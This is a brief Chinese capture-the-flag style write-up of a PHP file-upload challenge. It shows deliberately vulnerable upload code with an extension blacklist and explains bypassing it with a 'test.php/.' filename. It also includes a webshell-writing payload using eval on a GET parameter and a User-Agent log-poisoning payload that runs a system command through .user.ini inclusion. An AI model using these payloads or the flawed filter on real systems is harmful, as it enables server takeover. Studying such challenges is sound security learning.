赞
踩
1.file_put_contents 路径漏洞
- <?php
-
- function waf($filename){
- $black_list = array("ph", "htaccess", "ini");
- $ext = pathinfo($filename, PATHINFO_EXTENSION);
- foreach ($black_list as $value) {
- //php stristr()函数 语法
-
- 作用:返回一个字符串在另一个字符串中开始位置到结束的字符串,不区分大小写
- if (stristr($ext, $value)){
- return false;
- }
- }
- return true;
- }
-
- if(isset($_FILES['file'])){
- $filename = urldecode($_FILES['file']['name']);
- $content = file_get_contents($_FILES['file']['tmp_name']);
- if(waf($filename)){
- file_put_contents($filename, $content);
- } else {
- echo "Please re-upload";
- }
- } else{
- highlight_file(__FILE__);
- }
-
-
这题看似上了waf,把能够造成敏感文件的php、配置文件等都给搬掉了,但是这里使用了file_put_contents()以及urlencode,当我们上传test.php/.这样的文件时候,因为file_put_contents()第一个参数是文件路径,操作系统会认为你要在test1.php文件所在的目录中创建一个名为.的文件,最后上传的结果就为test.php。
2.写入木马payload:
<?php fputs(fopen('webshell.php','w'),'<?php eval($_GET['shell']);?>')?>
3.题目过滤了< 不能传木马,然后可以通过.user.ini 配合日志文件包含:
直接UA写马 <?php system('tac /f*');?>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。